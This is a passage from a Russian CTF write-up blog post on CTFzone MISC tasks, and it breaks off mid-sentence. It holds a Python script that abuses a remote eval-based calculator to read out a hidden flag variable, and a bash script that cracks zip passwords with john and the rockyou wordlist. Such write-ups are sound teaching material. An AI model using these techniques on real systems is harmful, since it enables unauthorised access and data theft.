{"id":282014,"date":"2016-12-05T16:40:05","date_gmt":"2016-12-05T13:40:05","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=282014"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=282014","title":{"rendered":"CTFzone write-ups \u2014 MISC it all up"},"content":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/b2f\/f73\/48a\/b2ff7348a87641faa463c5d73d01cae8.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0414\u0440\u0443\u0437\u044c\u044f, \u043f\u043e \u0441\u043b\u043e\u0436\u0438\u0432\u0448\u0435\u0439\u0441\u044f \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043c\u0435\u0441\u044f\u0446 \u0442\u0440\u0430\u0434\u0438\u0446\u0438\u0438 \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0432\u0430\u043c \u043d\u0430\u0447\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e \u0441 \u043d\u043e\u0432\u043e\u0433\u043e \u0440\u0430\u0439\u0442\u0430\u043f\u0430. \u0412 \u044d\u0442\u043e\u043c \u043f\u043e\u0441\u0442\u0435 \u043c\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u0440\u0430\u0437\u0431\u0435\u0440\u0435\u043c \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u0438\u0437 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f <strong>MISC<\/strong>, \u043a\u0443\u0434\u0430 \u0432\u043e\u0448\u043b\u0438 \u0432\u0441\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u044f, \u043d\u0435 \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0435 \u043d\u0438 \u043f\u043e\u0434 \u043a\u0430\u043a\u0443\u044e \u0434\u0440\u0443\u0433\u0443\u044e \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u044e. \u0422\u0443\u0442 \u0431\u044b\u043b \u043d\u0443\u0436\u0435\u043d \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u044b\u0439 \u043a\u0440\u0435\u0430\u0442\u0438\u0432 \ud83d\ude09<\/p>\n<p>  <\/p>\n<p>\u0412\u0435\u0442\u043a\u0430 MISC \u043d\u0430\u0448\u043b\u0430 \u043e\u0442\u043a\u043b\u0438\u043a \u0432 \u0434\u0443\u0448\u0435 \u043d\u0430\u0448\u0438\u0445 \u0438\u0433\u0440\u043e\u043a\u043e\u0432 \u2014 \u0437\u0430 \u0432\u0440\u0435\u043c\u044f \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0439 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043e\u043a\u043e\u043b\u043e 300 \u0444\u043b\u0430\u0433\u043e\u0432. \u0417\u0430\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u0438\u0437 \u0432\u0441\u0435\u0445 \u0442\u0430\u0441\u043a\u043e\u0432 \u043d\u0430 1000, \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0438\u0437 \u044d\u0442\u043e\u0439 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438 \u0431\u044b\u043b\u043e \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u2014 \u043d\u0430\u0434 \u043d\u0438\u043c \u043b\u043e\u043c\u0430\u043b\u0438 \u0433\u043e\u043b\u043e\u0432\u0443 \u043c\u043d\u043e\u0433\u0438\u0435, \u043d\u043e \u0443\u0441\u043f\u0435\u0445\u0430 \u0434\u043e\u0441\u0442\u0438\u0433\u043b\u0438 \u0432\u0441\u0435\u0433\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u043b\u043e\u0432\u0435\u043a. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0435\u0448\u0438\u043b\u0438 \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u043d\u0430 50 \u0438 100 \u043e\u0447\u043a\u043e\u0432 \u0438 \u0441\u0440\u0430\u0437\u0443 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043a \u0431\u043e\u043b\u0435\u0435 \u0441\u043b\u043e\u0436\u043d\u044b\u043c \u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c \u0437\u0430\u0434\u0430\u043d\u0438\u044f\u043c. \u041f\u043e\u0435\u0445\u0430\u043b\u0438!<\/p>\n<p>  <a name=\"habracut\"><\/a>  <\/p>\n<h4 id=\"misc_300-lithiumbeta\">MISC_300. Lithium|Beta<\/h4>\n<p>  <\/p>\n<blockquote><p><em><strong>A.U.R.O.R.A.:<\/strong> Lieutenant Friend, seems like this computer is frozen and we don\u2019t have time to fix it. So from now on we have only this calculator interface (nc). I have to admit that your predecessor Lieutenant Petr was a very lazy developer (no idea how he managed to get on this ship) and he failed to complete Compiler Design course. So he wrote calculator in the easiest way using the simplest tools. I know that it\u2019s quite complicated but you have to hurry, we haven\u2019t got much time! <\/em><\/p><\/blockquote>\n<p>  <strong>\u0420\u0435\u0448\u0435\u043d\u0438\u0435:<\/strong><\/p>\n<p>  <\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u0438 \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u044d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u043a\u0430\u043b\u044c\u043a\u0443\u043b\u044f\u0442\u043e\u0440. <\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/789\/bc0\/8df\/789bc08df36f43068dcad10fd1edda64.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0437 \u043b\u0435\u0433\u0435\u043d\u0434\u044b, \u044d\u0442\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043f\u0438\u0441\u0430\u043b \u043b\u0435\u043d\u0438\u0432\u044b\u0439 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a. \u0421\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u044d\u0442\u043e \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0432\u043c\u0435\u0441\u0442\u043e \u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0430 \u043c\u0430\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0439 eval.<\/p>\n<p>  <\/p>\n<p>\u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u0435, \u0435\u0441\u0442\u044c \u0432\u044b\u0432\u043e\u0434 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0439 \u043e\u0448\u0438\u0431\u043e\u043a, \u043d\u043e \u0431\u0435\u0437 \u0442\u0440\u0435\u0439\u0441\u043e\u0432:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/81d\/5e6\/18d\/81d5e618dd2940678f3653340237f607.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0421\u0443\u0434\u044f \u043f\u043e \u043e\u0448\u0438\u0431\u043a\u0430\u043c, \u0432 \u043e\u0442\u0432\u0435\u0442 \u043e\u0442\u0434\u0430\u0435\u0442\u0441\u044f \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442, \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0439 \u043a \u0442\u0438\u043f\u0443 float. \u0415\u0441\u043b\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043d\u0435\u043b\u044c\u0437\u044f, \u0442\u043e \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 ValueError. \u0415\u0441\u043b\u0438 \u043d\u0435\u0442 \u0442\u0430\u043a\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0442\u043e NameError.<br \/>  \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0432\u044b\u044f\u0441\u043d\u0438\u0442\u044c \u0441\u043f\u0438\u0441\u043e\u043a \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u043e\u0434\u043e\u043c \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430.<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/84b\/40c\/1f9\/84b40c1f966b4a9aa5cc20d92f055672.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u0441\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c underscore, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, class, \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0438\u0437-\u0437\u0430 HackingAttempt.<br \/>  \u041d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f ord \u0438 str, \u043c\u043e\u0436\u043d\u043e \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u044c \u043b\u044e\u0431\u0443\u044e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 dir, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0432\u0441\u0435\u0445 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u043c\u0435\u043d \u0432 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u0438.<\/p>\n<p>  <\/p>\n<p>\u041a\u043e\u0434 \u0431\u0440\u0443\u0442\u0442\u0435\u0440\u0430:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">#!\/usr\/bin\/python2 import socket  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((&quot;95.85.41.197&quot;, 8888))  print s.recv(1024)  result = '' for i in range(0, 300):   request = &quot;ord(str(dir())[%d])&quot; % i  # request = &quot;ord(verysecretflag[%d])&quot; % i   s.send(request)   response = s.recv(32)   if 'Err' in response or 'occurred' in response:     result += '_'   else:     result += chr(int(response.split(': ')[1].split('.')[0])) print result<\/code><\/pre>\n<p>  <\/p>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0441\u043f\u0438\u0441\u043e\u043a:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">['HackingAttempt', '__builtins__', '__cached__', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__', 'e', 'f', 'inp', 'print1337', 're', 'regex', 'sys', 'verysecretflag']<\/code><\/pre>\n<p>  <\/p>\n<p>\u0424\u043b\u0430\u0433 \u043b\u0435\u0436\u0438\u0442 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 verysecretflag. Print, \u043e\u043d \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d \u0432 print1337<br \/>  \u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043e\u0442\u0432\u0435\u0442, \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432\u043e\u0442 \u0442\u0430\u043a:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/8a2\/006\/4e6\/8a20064e6f9e4069bcab51aff697366d.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0412\u043e\u0442 \u0438 \u043d\u0430\u0448 \u0444\u043b\u0430\u0433! <\/p>\n<p>  <\/p>\n<p><strong>\u041e\u0442\u0432\u0435\u0442:<\/strong> <em>ctfzone{123456}<\/em><\/p>\n<p>  <\/p>\n<p>  <\/p>\n<p>  <\/p>\n<h4 id=\"misc_500-archive-maniac\">MISC_500. Archive maniac<\/h4>\n<p>  <\/p>\n<blockquote><p><em><strong>A.U.R.O.R.A.:<\/strong> Oh God! Lieutenant, I need you here on the ship control station. Autopilot is broken and we need a secret code to switch to manual control. Only our pilot Chekhov knows it and he is dead drunk, so you have to figure it out. I noticed that he was concerned about storage efficiency and confidentiality. And he also preferred number 32 to 64 with no obvious reason. <\/em><\/p><\/blockquote>\n<p>  <strong>\u0420\u0435\u0448\u0435\u043d\u0438\u0435:<\/strong><\/p>\n<p>  <\/p>\n<p>\u0412 \u044d\u0442\u043e\u043c \u0437\u0430\u0434\u0430\u043d\u0438\u0438 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0443 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043d\u0430\u0439\u0442\u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u043d\u044b\u0439 \u043a\u043e\u0434, \u043e\u0434\u043d\u0430\u043a\u043e \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e \u044d\u0442\u043e\u0442 \u043a\u043b\u044e\u0447 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d. \u041a \u0441\u043e\u0436\u0430\u043b\u0435\u043d\u0438\u044e, \u0442\u043e\u0442, \u043a\u0442\u043e \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0435\u0439, \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0435 \u0441\u0443\u0442\u043a\u0438 \u043d\u0438\u0447\u0435\u0433\u043e \u0432\u0440\u0430\u0437\u0443\u043c\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043d\u0435 \u0441\u043c\u043e\u0436\u0435\u0442\u2026 \u041c\u044b \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u043e\u043d \u0441\u0442\u0430\u0440\u0430\u043b\u0441\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u043e\u0435 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0438 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c, \u0430 \u0442\u0430\u043a\u0436\u0435 \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0438\u0442\u0430\u043b \u0447\u0438\u0441\u043b\u043e 32 \u0432\u043c\u0435\u0441\u0442\u043e 64. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f.<\/p>\n<p>  <\/p>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u043d\u0430\u0448\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435. \u0412 \u0441\u0430\u043c\u043e\u043c \u0437\u0430\u0434\u0430\u043d\u0438\u0438 \u0434\u0430\u0435\u0442\u0441\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u0430\u0440\u0445\u0438\u0432 arch.tar.gz, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0444\u0430\u0439\u043b\u044b:<\/p>\n<p>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0424\u0430\u0439\u043b\u044b \u0430\u0440\u0445\u0438\u0432\u0430<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"bash\">[briskly@archlinux tmp]$ tar -xvf arch.tar.gz  archive\/ archive\/flag3.png archive\/flag9.png archive\/flag7.png archive\/flag6.png archive\/flag2.png archive\/flag4.png archive\/flag5.png archive\/flag0.png archive\/flag1.png archive\/flag8.png archive\/.gitkeep [briskly@archlinux tmp]$ file archive\/* archive\/flag0.png: cpio archive archive\/flag1.png: bzip2 compressed data, block size = 900k archive\/flag2.png: bzip2 compressed data, block size = 900k archive\/flag3.png: compress'd data 16 bits archive\/flag4.png: LRZIP compressed data - version 0.6 archive\/flag5.png: rzip compressed data - version 2.1 (370344 bytes) archive\/flag6.png: compress'd data 16 bits archive\/flag7.png: Zip archive data archive\/flag8.png: ARJ archive data, v11, slash-switched, original name: , os: Unix archive\/flag9.png: cpio archive<\/code><\/pre>\n<\/div>\n<\/div>\n<p>  <\/p>\n<p>\u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u0432 \u0430\u0440\u0445\u0438\u0432\u0435 10 \u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c .png, \u043d\u043e \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u0439\u043b \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0440\u0445\u0438\u0432\u043e\u043c. \u0421\u0443\u0434\u044f \u043f\u043e \u043b\u0438\u0441\u0442\u0438\u043d\u0433\u0443 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430\u0440\u0445\u0438\u0432\u044b \u043e\u0447\u0435\u043d\u044c \u0440\u0430\u0437\u043d\u044b\u0435. \u041f\u0440\u0438\u0448\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u0443\u0447\u0438\u0442\u044c\u0441\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u043a\u0437\u043e\u0442\u0438\u043a\u043e\u0439.<\/p>\n<p>  <\/p>\n<p>\u041f\u043e\u0436\u0430\u043b\u0443\u0439, \u043d\u0430\u0447\u043d\u0435\u043c:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">[briskly@archlinux archive]$ bzip2 -d flag1.png bzip2: Can't guess original name for flag1.png -- using flag1.png.out [briskly@archlinux archive]$ file flag1.png.out  flag1.png.out: LRZIP compressed data - version 0.6<\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u043e\u0445\u043e\u0436\u0435, \u0447\u0442\u043e \u0432 \u044d\u0442\u0438\u0445 \u0430\u0440\u0445\u0438\u0432\u0430\u0445 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0434\u0440\u0443\u0433\u0438\u0435 \u0430\u0440\u0445\u0438\u0432\u044b. \u041f\u0440\u043e\u0431\u0443\u0435\u043c \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c zip \u0444\u0430\u0439\u043b. 7z \u0441\u0440\u0430\u0437\u0443 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b \u043f\u0430\u0440\u043e\u043b\u044c:<\/p>\n<p>  <\/p>\n<pre><code class=\"bash\">[briskly@archlinux archive]$ 7z x flag7.png 7-Zip [64] 16.02: Copyright (c) 1999-2016 Igor Pavlov: 2016-05-21 p7zip Version 16.02 (locale=ru_RU.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i7-6600U CPU @ 2.60GHz (406E3),ASM,AES-NI)  Scanning the drive for archives: 1 file, 385755 bytes (377 KiB)  Extracting archive: flag7.png -- Path = flag7.png Type = zip Physical Size = 385755  Enter password (will not be echoed):<\/code><\/pre>\n<p>  <\/p>\n<p>\u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0441\u0442\u043e\u0438\u0442 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u0438\u0437 \u0430\u0440\u0445\u0438\u0432\u0430, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0438\u0445 \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e:<\/p>\n<p>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0418\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u043c \u0438\u0437 \u0430\u0440\u0445\u0438\u0432\u0430<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"bash\">#!\/bin\/bash  FILE=&quot;$1&quot; FLAG=&quot;flag.png&quot; TMP_DIR=&quot;PNGs&quot;  # Dirty: [ ! -d &quot;.\/$TMP_DIR&quot; ] &amp;&amp; mkdir &quot;$TMP_DIR&quot; &amp;&amp; echo -e &quot;\\n [+] Creating temp folder: $TMP_DIR.&quot; [ ! -f &quot;.\/$FLAG&quot; ] &amp;&amp; cp $FILE flag.png &amp;&amp; echo -e &quot; [+] Creating temp file: $FLAG.\\n&quot;  deArch () {     CHECK=`file &quot;$FLAG&quot;`      if [[ $CHECK == *&quot;rzip compressed data&quot;* ]]     then         echo -e &quot; [*] Now $FLAG is RZIP data (.rz)\\n [+] Extracting $FLAG\\n&quot;         mv flag.png{,.rz}         runzip -d flag.png.rz         #rm flag.png.rz         sleep 1         deArch      elif [[ $CHECK == *&quot;LRZIP compressed data&quot;* ]]     then         echo -e &quot; [*] Now $FLAG is LRZIP archive (.lrz)\\n [+] Extracting $FLAG\\n&quot;         mv flag.png{,.lrz}         lrunzip flag.png.lrz &gt; \/dev\/null         rm flag.png.lrz         sleep 1         deArch      elif [[ $CHECK == *&quot;bzip2 compressed data&quot;* ]]     then         echo -e &quot; [*] Now $FLAG is BZIP file (.bz2)\\n [+] Extracting $FLAG\\n&quot;         mv flag.png{,.bz2}         bzip2 -d flag.png.bz2 #&gt; \/dev\/null         sleep 1         deArch      elif [[ $CHECK == *&quot;compress'd data 16 bits&quot;* ]]     then         echo -e &quot; [*] Now $FLAG is unix compressed file (.z)\\n [+] Extracting $FLAG\\n&quot;         mv flag.png{,.z}         uncompress flag.png.z         sleep 1         deArch      elif [[ $CHECK == *&quot;7-zip archive data&quot;* ]]     then         echo -e &quot; [*] Now $FLAG is 7-ZIP archive (.7z)\\n [+] Extracting $FLAG\\n&quot;         mv flag.png{,.7z}         7z x flag.png.7z &gt; \/dev\/null         rm flag.png.7z         sleep 1         deArch      elif [[ $CHECK == *&quot;ARJ archive data, v11, slash-switched&quot;* ]]     then         echo -e &quot; [*] Now $FLAG is ARJ archive (.arj)\\n [+] Extracting $FLAG\\n&quot;         mv flag.png{,.arj}         arj x flag.png.arj &gt; \/dev\/null         rm flag.png.arj         sleep 1         deArch      elif [[ $CHECK == *&quot;cpio archive&quot;* ]]     then         echo -e &quot; [*] Now $FLAG is CPIO archive (.cpio)\\n [+] Extracting $FLAG\\n&quot;         mv flag.png{,.cpio}         cpio -idv &lt; flag.png.cpio 2&gt; \/dev\/null         rm flag.png.cpio         sleep 1         deArch      elif [[ $CHECK == *&quot;current ar archive&quot;* ]]     then         echo -e &quot; [*] Now $FLAG is AR archive (.a)\\n [+] Extracting $FLAG\\n&quot;         mv flag.png{,.a}         ar x flag.png.a         rm flag.png.a         sleep 1         deArch      elif [[ $CHECK == *&quot;Zip archive data&quot;* ]]     then         echo -e &quot; [*] Now $FLAG is zip archive (.zip)\\n [+] Extracting $FLAG\\n&quot;         mv flag.png{,.zip}         #mv flag.png{,.7z}          ENC_CHCK=`7z l -slt -- flag.png.zip | grep -ic &quot;Encrypted = +&quot;`         if [ &quot;$ENC_CHCK&quot; -eq &quot;1&quot; ]         then             #exit 1             echo &quot; [!] PASSWORD pretocted archive&quot;             zip2john flag.png.zip | awk -F: '{print $2}' &gt; hash.lst             rm -rf \/root\/.john\/john.*             #ZIP_PASS=`john hash.lst 2&gt;&amp;1 &gt; \/dev\/null | awk '\/\\(\\?\\)\/ {print $1}'`             ZIP_PASS=`john hash.lst --wordlist=\/usr\/share\/wordlists\/rockyou.txt 2&gt;&amp;1 | awk '\/\\(\\?\\)\/ {print $1}'`              if [[ -z &quot;$ZIP_PASS&quot; ]]             then                 #echo -e &quot;$ZIP_PASS&quot;                 echo -e &quot; [-] Your pass was not found, please, try it manually...&quot;             else                 echo -e &quot; [+] Voila! Your pass is: \\e[1;33m$ZIP_PASS\\e[0;0m, extracting an archive...\\n&quot;                 7z x -p&quot;$ZIP_PASS&quot; flag.png.zip &gt; \/dev\/null                 rm flag.png.zip                 sleep 1                 deArch             fi         else             7z x flag.png.zip             sleep 1             deArch         fi          #sleep 1         #deArch      elif [[ $CHECK == *&quot;PNG image data&quot;* ]]     then         echo -e &quot; [\\e[1;32m*\\e[0;0m] Now $FLAG is PNG image file !!!\\n [\\e[1;32m+\\e[0;0m] Open this: .\/$TMP_DIR\/$FILE\\n&quot;         sleep 1         #eog flag.png 2&gt; \/dev\/null         mv $FLAG $TMP_DIR\/$FILE         exit 0      else         echo -e &quot;\\n [-] Hernya! $CHECK&quot;     fi }  deArch<\/code><\/pre>\n<\/div>\n<\/div>\n<p>  <\/p>\n<p>\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0440\u0430\u0431\u043e\u0442\u044b \u0441\u043a\u0440\u0438\u043f\u0442\u0430:<\/p>\n<p>  <\/p>\n<div class=\"spoiler\"><b class=\"spoiler_title\">\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442<\/b><\/p>\n<div class=\"spoiler_text\">\n<pre><code class=\"bash\">bash deArch.sh flag4.png    [+] Creating temp folder: PNGs.  [+] Creating temp file: flag.png.   [*] Now flag.png is ARJ archive (.arj)  [+] Extracting flag.png   [*] Now flag.png is zip archive (.zip)  [+] Extracting flag.png   [!] PASSWORD pretocted archive  [+] Voila! Your pass is: love123, extracting an archive...   [*] Now flag.png is unix compressed file (.z)  [+] Extracting flag.png   [*] Now flag.png is AR archive (.a)  [+] Extracting flag.png   [*] Now flag.png is BZIP file (.bz2)  [+] Extracting flag.png   [*] Now flag.png is CPIO archive (.cpio)  [+] Extracting flag.png   [*] Now flag.png is RZIP data (.rz)  [+] Extracting flag.png   [*] Now flag.png is 7-ZIP archive (.7z)  [+] Extracting flag.png   [*] Now flag.png is LRZIP archive (.lrz)  [+] Extracting flag.png   [*] Now flag.png is PNG image file !!!  [+] Open this: .\/PNGs\/flag4.png<\/code><\/pre>\n<\/div>\n<\/div>\n<p>  <\/p>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u0432\u044b\u0442\u0430\u0441\u043a\u0438\u0432\u0430\u0435\u0442\u0441\u044f flag4.png<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/files\/295\/3c5\/f05\/2953c5f05b2d4571b15d7f772ec25b05.png\" alt=\"image\"\/><\/p>\n<p>  <\/p>\n<p>\u0418\u0442\u0430\u043a, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430! \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u0432\u043d\u0443\u0442\u0440\u0438 \u2013 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c, \u0442\u0430\u043c \u0435\u0441\u0442\u044c 